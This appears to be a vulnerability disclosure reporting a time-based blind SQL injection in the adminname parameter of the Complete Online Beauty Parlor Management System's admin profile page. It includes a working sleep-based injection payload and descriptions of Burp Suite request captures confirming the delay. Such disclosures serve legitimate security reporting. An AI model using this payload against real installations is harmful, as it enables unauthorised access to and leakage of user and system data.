

SQL injection vulnerability exists in adminname parameter of /admin/admin-profile.php file of Complete Online Beauty Parlor Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

Sleep time is 4s:

The screenshot shows a Burp Suite interface with a request and response. The request is a POST to /bpm/admin/admin-profile.php. The payload is: `adminname=0'XOR(if(now())=sysdate())%2Csleep(4)%2C0))XOR'Z&contactnumber=7898799798&email=tester1%40gmail.com&submit=&username=admin`. The response is an HTML page titled "BPMS | Admin Profile". The status bar at the bottom shows 10,946 bytes and 4,041 milliseconds.

Sleep time is 8s:

The screenshot shows a Burp Suite interface with a request and response. The request is a POST to /bpm/admin/admin-profile.php. The payload is: `adminname=0'XOR(if(now())=sysdate())%2Csleep(8)%2C0))XOR'Z&contactnumber=7898799798&email=tester1%40gmail.com&submit=&username=admin`. The response is an HTML page titled "BPMS | Admin Profile". The status bar at the bottom shows 10,946 bytes and 8,008 milliseconds.

Payload:adminname=0'XOR(if(now())=sysdate())%2Csleep(4)%2C0))XOR'Z

Source Download:

<https://www.campcodes.com/projects/php/online-beauty-parlor-management-system/>